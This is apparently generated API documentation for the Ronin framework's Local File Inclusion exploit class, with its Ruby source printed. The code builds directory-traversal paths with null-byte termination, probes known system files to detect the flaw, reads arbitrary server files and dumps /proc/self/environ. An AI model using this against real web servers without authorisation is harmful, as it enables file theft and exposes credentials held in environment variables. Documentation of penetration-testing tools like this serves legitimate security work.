Class: Ronin::Exploits::LFI

Inherits:
Web show all
Defined in:
lib/ronin/exploits/lfi.rb

Constant Summary collapse

MIN_TRAVERSAL =

The minimum number of directories to traverse up

2
MAX_TRAVERSAL =

The maximum number of directories to traverse up

7
SEPARATORS =

Path separators

{
  unix:    '/',
  windows: '\\'
}
KNOWN_FILES =

Known files to try including

{
  unix: {
    '/etc/group' => /root:x:0/,
    '/bin/date'  => /--(rfc-2822|rfc-3339|utc)/
  },

  windows: {
    '\windows\system.ini'  => /\[driver(?:32|64)\]/,
    '\Windows\System32\Drivers\etc\host.ini' => /(127\.0\.0\.1|::1)\s+localhost/
  }
}

Constants inherited from HTTP

HTTP::DEFAULT_PORT

Instance Attribute Summary collapse

Attributes inherited from Exploit

#encoders, #helpers, #raw_payload, #restricted_chars, #target

Attributes included from Payloads::HasPayload

#payload

Instance Method Summary collapse

Methods inherited from Web

#exploit, #http_request, #normal_body, #normal_response, test, #url, #url_query_param_value

Methods inherited from HTTP

#url_for

Methods inherited from RemoteTCP

#deploy!, #test!

Methods included from Model::HasDefaultPort

included

Methods inherited from Exploit

#advisory, advisory, #arch, #build!, #build_payload!, #deploy!, #encode_payload, #encode_payload!, #evacuate!, #exploit!, #helper, #initialize, #os, #payload=, #restrict, #software, #targeting, #targeting_arch, targeting_arch, #targeting_os, targeting_os, #targeting_software, targeting_software, #use_target!

Methods included from Tests

#is_restricted?, #test_arch!, #test_os!, #test_restricted!, #test_software!, #test_target!

Methods included from PostExploitation::Mixin

#fs, #post_exploitation, #process, #resources, #shell

Methods included from Payloads::HasPayload

#default_payload, #initialize, #method_missing, #payload_class, #respond_to?, #use_payload!, #use_payload_from!

Constructor Details

This class inherits a constructor from Ronin::Exploits::Exploit

Dynamic Method Handling

This class handles dynamic methods through the method_missing method in the class Ronin::Payloads::HasPayload

Instance Attribute Details

#path_separator"/", "\\"

The path separator to use.


72
73
74
# File 'lib/ronin/exploits/lfi.rb', line 72

def path_separator
  @path_separator
end

Instance Method Details

#escape_path(path) ⇒ String

Escapes a path to be used in a Local File Inclusion (LFI).


93
94
95
96
97
98
99
# File 'lib/ronin/exploits/lfi.rb', line 93

def escape_path(path)
  escaped_path = Path.up(self.traversal,path_separator).join(path).to_s
  escaped_path = "#{path_separator}#{escaped_path}" if self.leading?
  escaped_path = "#{escaped_path}%0"                if self.terminate?

  return escaped_path
end

#exploit_url(path, query_params = {}) ⇒ URI::HTTP

Creates an exploit URL which includes the local path.


113
114
115
# File 'lib/ronin/exploits/lfi.rb', line 113

def exploit_url(path,query_params={})
  super(escape_path(path),query_params)
end

#fs_readfile(path) ⇒ String

This method is part of a private API. You should avoid using this method if possible, as it may be removed or be changed in the future.

Emulates reading a file via Local File Inclusion (LFI).

Raises:

  • (Errno::ENOENT)

    The local file could not be found.


168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
# File 'lib/ronin/exploits/lfi.rb', line 168

def fs_readfile(path)
  response = exploit(path)

  if response.code == '500'
    raise(Errno::ENOENT,"No such file or directory - #{path}")
  end

  original_body = normalize_body(normal_response.body,url)
  included_body = normalize_body(response.body,exploit_url(path))

  @prefix_length ||= original_body.common_prefix(included_body).length
  @suffix_length ||= original_body.common_suffix(included_body).length

  offset = @prefix_length
  length = (included_body.length - offset) - @suffix_length

  return included_body[offset, length]
end

#normalize_body(body, url) ⇒ String (protected)

Removes the URL's path and query string from the response body.


235
236
237
238
239
240
241
# File 'lib/ronin/exploits/lfi.rb', line 235

def normalize_body(body,url)
  unless (url.query.nil? || url.query.empty?)
    body.gsub(uri_encoded_regexp(url.query),self.url_query)
  else
    body
  end
end

#process_environ(name) ⇒ Hash{String => String}

Retrieves the whole environment Hash.


193
194
195
196
197
198
199
200
# File 'lib/ronin/exploits/lfi.rb', line 193

def process_environ(name)
  case @platform
  when :unix
    Hash[fs_read('/proc/self/environ').split("\0").map { |key_value|
      key_value.split('=',2)
    }]
  end
end

#test_file(path, pattern) ⇒ MatchData

Tests if a local file can be included.


128
129
130
# File 'lib/ronin/exploits/lfi.rb', line 128

def test_file(path,pattern)
  exploit(path).body.match(pattern)
end

#uri_encoded_regexp(text) ⇒ Regexp (protected)

Creates a Regular Expression to remove URI encoded text.


214
215
216
217
218
219
220
221
# File 'lib/ronin/exploits/lfi.rb', line 214

def uri_encoded_regexp(text)
  Regexp.new('(' + text.bytes.map { |b|
    char        = b.chr
    uri_encoded = URI.encode(char,char)

    "(?:#{Regexp.escape(char)}|#{uri_encoded})"
  }.join + ')')
end

#vulnerable?Boolean

Tests whether the URL and query parameter are vulnerable to LFI.


141
142
143
144
145
146
147
148
149
150
151
152
# File 'lib/ronin/exploits/lfi.rb', line 141

def vulnerable?
  KNOWN_FILES.each do |platform,files|
    @platform = platform

    files.each do |path,pattern|
      return true if test_file(path,pattern)
    end
  end

  @platform = nil
  return false
end